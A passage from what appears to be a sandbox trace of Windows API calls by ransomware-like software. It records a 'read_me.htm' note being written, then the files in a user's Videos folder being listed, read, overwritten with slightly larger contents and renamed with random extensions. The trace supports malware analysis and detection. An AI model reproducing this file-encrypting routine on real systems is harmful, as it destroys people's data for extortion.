"c:\\users\\keecfmwgj\\videos\\_6w_top4\\xukd9lnbmjoicf\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0159.332] GetFileType (hFile=0x1d0) returned 0x1 [0159.332] SetErrorMode (uMode=0x0) returned 0x1 [0159.333] GetFileType (hFile=0x1d0) returned 0x1 [0159.333] WriteFile (in: hFile=0x1d0, lpBuffer=0x29c42e0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x29c42e0*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0159.333] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj", lpFilePart=0x0) returned 0x2c [0159.333] SetErrorMode (uMode=0x1) returned 0x0 [0159.334] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10489ff0, ftCreationTime.dwHighDateTime=0x1d8b320, ftLastAccessTime.dwLowDateTime=0xd02d90f0, ftLastAccessTime.dwHighDateTime=0x1d8bc12, ftLastWriteTime.dwLowDateTime=0xd02d90f0, ftLastWriteTime.dwHighDateTime=0x1d8bc12, nFileSizeHigh=0x0, nFileSizeLow=0xa070, dwReserved0=0x0, dwReserved1=0x0, cFileName="bJiFgZ6houa47UyvW.mp4", cAlternateFileName="BJIFGZ~1.MP4")) returned 1 [0159.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893e8000, ftCreationTime.dwHighDateTime=0x1d8b52d, ftLastAccessTime.dwLowDateTime=0x8da68770, ftLastAccessTime.dwHighDateTime=0x1d8b611, ftLastWriteTime.dwLowDateTime=0x8da68770, ftLastWriteTime.dwHighDateTime=0x1d8b611, nFileSizeHigh=0x0, nFileSizeLow=0x1118c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNuRUiZ.mp4", cAlternateFileName="")) returned 1 [0159.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8acc1910, ftCreationTime.dwHighDateTime=0x1d8b5d6, ftLastAccessTime.dwLowDateTime=0xe5ab6520, ftLastAccessTime.dwHighDateTime=0x1d8be91, ftLastWriteTime.dwLowDateTime=0xe5ab6520, ftLastWriteTime.dwHighDateTime=0x1d8be91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IOKKHz-j j1T03E2Exf", cAlternateFileName="IOKKHZ~1")) returned 1 [0159.334] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473aee0, ftCreationTime.dwHighDateTime=0x1d8be24, ftLastAccessTime.dwLowDateTime=0x1fbe6790, ftLastAccessTime.dwHighDateTime=0x1d8be9b, ftLastWriteTime.dwLowDateTime=0x1fbe6790, ftLastWriteTime.dwHighDateTime=0x1d8be9b, nFileSizeHigh=0x0, nFileSizeLow=0x1393b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rjMao5c8LjOzfjEul.avi", cAlternateFileName="RJMAO5~1.AVI")) returned 1 [0159.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe8560, ftCreationTime.dwHighDateTime=0x1d8be3e, ftLastAccessTime.dwLowDateTime=0xf4aec310, ftLastAccessTime.dwHighDateTime=0x1d8c020, ftLastWriteTime.dwLowDateTime=0xf4aec310, ftLastWriteTime.dwHighDateTime=0x1d8c020, nFileSizeHigh=0x0, nFileSizeLow=0x1ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="v225s9u6le.swf", cAlternateFileName="V225S9~1.SWF")) returned 1 [0159.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab2a040, ftCreationTime.dwHighDateTime=0x1d8b1c2, ftLastAccessTime.dwLowDateTime=0xba7c1640, ftLastAccessTime.dwHighDateTime=0x1d8bc8b, ftLastWriteTime.dwLowDateTime=0xba7c1640, ftLastWriteTime.dwHighDateTime=0x1d8bc8b, nFileSizeHigh=0x0, nFileSizeLow=0x4dce, dwReserved0=0x0, dwReserved1=0x0, cFileName="X-0qRulw3Q2MmDRBe44M.flv", cAlternateFileName="X-0QRU~1.FLV")) returned 1 [0159.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4597fab0, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0xd176fbe0, ftLastAccessTime.dwHighDateTime=0x1d8c12b, ftLastWriteTime.dwLowDateTime=0xd176fbe0, ftLastWriteTime.dwHighDateTime=0x1d8c12b, nFileSizeHigh=0x0, nFileSizeLow=0xc58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YzTuxM0YVqn4YaCMvHeg.swf", cAlternateFileName="YZTUXM~1.SWF")) returned 1 [0159.335] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4597fab0, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0xd176fbe0, ftLastAccessTime.dwHighDateTime=0x1d8c12b, ftLastWriteTime.dwLowDateTime=0xd176fbe0, ftLastWriteTime.dwHighDateTime=0x1d8c12b, nFileSizeHigh=0x0, nFileSizeLow=0xc58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YzTuxM0YVqn4YaCMvHeg.swf", cAlternateFileName="YZTUXM~1.SWF")) returned 0 [0159.335] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.335] SetErrorMode (uMode=0x0) returned 0x1 [0159.336] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj", lpFilePart=0x0) returned 0x2c [0159.336] SetErrorMode (uMode=0x1) returned 0x0 [0159.336] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\*" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0159.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6353d380, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0x258f7d50, ftLastAccessTime.dwHighDateTime=0x1d8c11e, ftLastWriteTime.dwLowDateTime=0x258f7d50, ftLastWriteTime.dwHighDateTime=0x1d8c11e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.336] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10489ff0, ftCreationTime.dwHighDateTime=0x1d8b320, ftLastAccessTime.dwLowDateTime=0xd02d90f0, ftLastAccessTime.dwHighDateTime=0x1d8bc12, ftLastWriteTime.dwLowDateTime=0xd02d90f0, ftLastWriteTime.dwHighDateTime=0x1d8bc12, nFileSizeHigh=0x0, nFileSizeLow=0xa070, dwReserved0=0x0, dwReserved1=0x0, cFileName="bJiFgZ6houa47UyvW.mp4", cAlternateFileName="BJIFGZ~1.MP4")) returned 1 [0159.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893e8000, ftCreationTime.dwHighDateTime=0x1d8b52d, ftLastAccessTime.dwLowDateTime=0x8da68770, ftLastAccessTime.dwHighDateTime=0x1d8b611, ftLastWriteTime.dwLowDateTime=0x8da68770, ftLastWriteTime.dwHighDateTime=0x1d8b611, nFileSizeHigh=0x0, nFileSizeLow=0x1118c, dwReserved0=0x0, dwReserved1=0x0, cFileName="DNuRUiZ.mp4", cAlternateFileName="")) returned 1 [0159.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8acc1910, ftCreationTime.dwHighDateTime=0x1d8b5d6, ftLastAccessTime.dwLowDateTime=0xe5ab6520, ftLastAccessTime.dwHighDateTime=0x1d8be91, ftLastWriteTime.dwLowDateTime=0xe5ab6520, ftLastWriteTime.dwHighDateTime=0x1d8be91, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="IOKKHz-j j1T03E2Exf", cAlternateFileName="IOKKHZ~1")) returned 1 [0159.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x473aee0, ftCreationTime.dwHighDateTime=0x1d8be24, ftLastAccessTime.dwLowDateTime=0x1fbe6790, ftLastAccessTime.dwHighDateTime=0x1d8be9b, ftLastWriteTime.dwLowDateTime=0x1fbe6790, ftLastWriteTime.dwHighDateTime=0x1d8be9b, nFileSizeHigh=0x0, nFileSizeLow=0x1393b, dwReserved0=0x0, dwReserved1=0x0, cFileName="rjMao5c8LjOzfjEul.avi", cAlternateFileName="RJMAO5~1.AVI")) returned 1 [0159.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bfe8560, ftCreationTime.dwHighDateTime=0x1d8be3e, ftLastAccessTime.dwLowDateTime=0xf4aec310, ftLastAccessTime.dwHighDateTime=0x1d8c020, ftLastWriteTime.dwLowDateTime=0xf4aec310, ftLastWriteTime.dwHighDateTime=0x1d8c020, nFileSizeHigh=0x0, nFileSizeLow=0x1ca3, dwReserved0=0x0, dwReserved1=0x0, cFileName="v225s9u6le.swf", cAlternateFileName="V225S9~1.SWF")) returned 1 [0159.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab2a040, ftCreationTime.dwHighDateTime=0x1d8b1c2, ftLastAccessTime.dwLowDateTime=0xba7c1640, ftLastAccessTime.dwHighDateTime=0x1d8bc8b, ftLastWriteTime.dwLowDateTime=0xba7c1640, ftLastWriteTime.dwHighDateTime=0x1d8bc8b, nFileSizeHigh=0x0, nFileSizeLow=0x4dce, dwReserved0=0x0, dwReserved1=0x0, cFileName="X-0qRulw3Q2MmDRBe44M.flv", cAlternateFileName="X-0QRU~1.FLV")) returned 1 [0159.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4597fab0, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0xd176fbe0, ftLastAccessTime.dwHighDateTime=0x1d8c12b, ftLastWriteTime.dwLowDateTime=0xd176fbe0, ftLastWriteTime.dwHighDateTime=0x1d8c12b, nFileSizeHigh=0x0, nFileSizeLow=0xc58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YzTuxM0YVqn4YaCMvHeg.swf", cAlternateFileName="YZTUXM~1.SWF")) returned 1 [0159.337] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4597fab0, ftCreationTime.dwHighDateTime=0x1d8c11d, ftLastAccessTime.dwLowDateTime=0xd176fbe0, ftLastAccessTime.dwHighDateTime=0x1d8c12b, ftLastWriteTime.dwLowDateTime=0xd176fbe0, ftLastWriteTime.dwHighDateTime=0x1d8c12b, nFileSizeHigh=0x0, nFileSizeLow=0xc58b, dwReserved0=0x0, dwReserved1=0x0, cFileName="YzTuxM0YVqn4YaCMvHeg.swf", cAlternateFileName="YZTUXM~1.SWF")) returned 0 [0159.337] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0159.338] SetErrorMode (uMode=0x0) returned 0x1 [0159.338] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4", lpFilePart=0x0) returned 0x42 [0159.338] SetErrorMode (uMode=0x1) returned 0x0 [0159.338] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\bjifgz6houa47uyvw.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.338] GetFileType (hFile=0x1d0) returned 0x1 [0159.338] SetErrorMode (uMode=0x0) returned 0x1 [0159.339] GetFileType (hFile=0x1d0) returned 0x1 [0159.339] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0xa070 [0159.339] ReadFile (in: hFile=0x1d0, lpBuffer=0x29c8080, nNumberOfBytesToRead=0xa070, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x29c8080*, lpNumberOfBytesRead=0x21d358*=0xa070, lpOverlapped=0x0) returned 1 [0159.432] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4", lpFilePart=0x0) returned 0x42 [0159.432] SetErrorMode (uMode=0x1) returned 0x0 [0159.432] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\bjifgz6houa47uyvw.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.434] GetFileType (hFile=0x1d0) returned 0x1 [0159.434] SetErrorMode (uMode=0x0) returned 0x1 [0159.434] GetFileType (hFile=0x1d0) returned 0x1 [0159.434] WriteFile (in: hFile=0x1d0, lpBuffer=0x28e3db0*, nNumberOfBytesToWrite=0xa080, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x28e3db0*, lpNumberOfBytesWritten=0x21d3d8*=0xa080, lpOverlapped=0x0) returned 1 [0159.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4", lpFilePart=0x0) returned 0x42 [0159.437] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4.ylh0l1", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4.ylh0l1", lpFilePart=0x0) returned 0x49 [0159.437] SetErrorMode (uMode=0x1) returned 0x0 [0159.437] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\bjifgz6houa47uyvw.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x10489ff0, ftCreationTime.dwHighDateTime=0x1d8b320, ftLastAccessTime.dwLowDateTime=0xd02d90f0, ftLastAccessTime.dwHighDateTime=0x1d8bc12, ftLastWriteTime.dwLowDateTime=0x5b8132e0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0xa080)) returned 1 [0159.437] SetErrorMode (uMode=0x0) returned 0x1 [0159.437] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\bjifgz6houa47uyvw.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\bJiFgZ6houa47UyvW.mp4.ylh0l1" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\bjifgz6houa47uyvw.mp4.ylh0l1")) returned 1 [0159.440] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4", lpFilePart=0x0) returned 0x38 [0159.440] SetErrorMode (uMode=0x1) returned 0x0 [0159.440] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\dnuruiz.mp4"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.440] GetFileType (hFile=0x1d0) returned 0x1 [0159.440] SetErrorMode (uMode=0x0) returned 0x1 [0159.441] GetFileType (hFile=0x1d0) returned 0x1 [0159.441] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x1118c [0159.441] ReadFile (in: hFile=0x1d0, lpBuffer=0x28eed90, nNumberOfBytesToRead=0x1118c, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x28eed90*, lpNumberOfBytesRead=0x21d358*=0x1118c, lpOverlapped=0x0) returned 1 [0159.466] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4", lpFilePart=0x0) returned 0x38 [0159.466] SetErrorMode (uMode=0x1) returned 0x0 [0159.466] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\dnuruiz.mp4"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.469] GetFileType (hFile=0x1d0) returned 0x1 [0159.469] SetErrorMode (uMode=0x0) returned 0x1 [0159.469] GetFileType (hFile=0x1d0) returned 0x1 [0159.469] WriteFile (in: hFile=0x1d0, lpBuffer=0x2a02068*, nNumberOfBytesToWrite=0x11190, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2a02068*, lpNumberOfBytesWritten=0x21d3d8*=0x11190, lpOverlapped=0x0) returned 1 [0159.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4", lpFilePart=0x0) returned 0x38 [0159.472] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4.6p6vk5", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4.6p6vk5", lpFilePart=0x0) returned 0x3f [0159.472] SetErrorMode (uMode=0x1) returned 0x0 [0159.472] GetFileAttributesExW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\dnuruiz.mp4"), fInfoLevelId=0x0, lpFileInformation=0x21d300 | out: lpFileInformation=0x21d300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x893e8000, ftCreationTime.dwHighDateTime=0x1d8b52d, ftLastAccessTime.dwLowDateTime=0x8da68770, ftLastAccessTime.dwHighDateTime=0x1d8b611, ftLastWriteTime.dwLowDateTime=0x5b85f5a0, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x11190)) returned 1 [0159.472] SetErrorMode (uMode=0x0) returned 0x1 [0159.473] MoveFileW (lpExistingFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\dnuruiz.mp4"), lpNewFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\DNuRUiZ.mp4.6p6vk5" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\dnuruiz.mp4.6p6vk5")) returned 1 [0159.475] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi", lpFilePart=0x0) returned 0x42 [0159.475] SetErrorMode (uMode=0x1) returned 0x0 [0159.475] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\rjmao5c8ljozfjeul.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.475] GetFileType (hFile=0x1d0) returned 0x1 [0159.476] SetErrorMode (uMode=0x0) returned 0x1 [0159.476] GetFileType (hFile=0x1d0) returned 0x1 [0159.476] GetFileSize (in: hFile=0x1d0, lpFileSizeHigh=0x21d478 | out: lpFileSizeHigh=0x21d478*=0x0) returned 0x1393b [0159.476] ReadFile (in: hFile=0x1d0, lpBuffer=0x2a14118, nNumberOfBytesToRead=0x1393b, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x2a14118*, lpNumberOfBytesRead=0x21d358*=0x1393b, lpOverlapped=0x0) returned 1 [0159.572] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi", lpFilePart=0x0) returned 0x42 [0159.573] SetErrorMode (uMode=0x1) returned 0x0 [0159.573] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi" (normalized: "c:\\users\\keecfmwgj\\videos\\_6w_top4\\zjqm10_pj\\rjmao5c8ljozfjeul.avi"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x1d0 [0159.575] GetFileType (hFile=0x1d0) returned 0x1 [0159.575] SetErrorMode (uMode=0x0) returned 0x1 [0159.575] GetFileType (hFile=0x1d0) returned 0x1 [0159.575] WriteFile (in: hFile=0x1d0, lpBuffer=0x2938060*, nNumberOfBytesToWrite=0x13940, lpNumberOfBytesWritten=0x21d3d8, lpOverlapped=0x0 | out: lpBuffer=0x2938060*, lpNumberOfBytesWritten=0x21d3d8*=0x13940, lpOverlapped=0x0) returned 1 [0159.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi", lpFilePart=0x0) returned 0x42 [0159.578] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Videos\\_6W_tOp4\\zJQm10_Pj\\rjMao5c8LjOzfjEul.avi.4oc6sd", nBufferLength=0x105, lpBuffer=0x21d0b0, lpFilePart=0x0 | out: 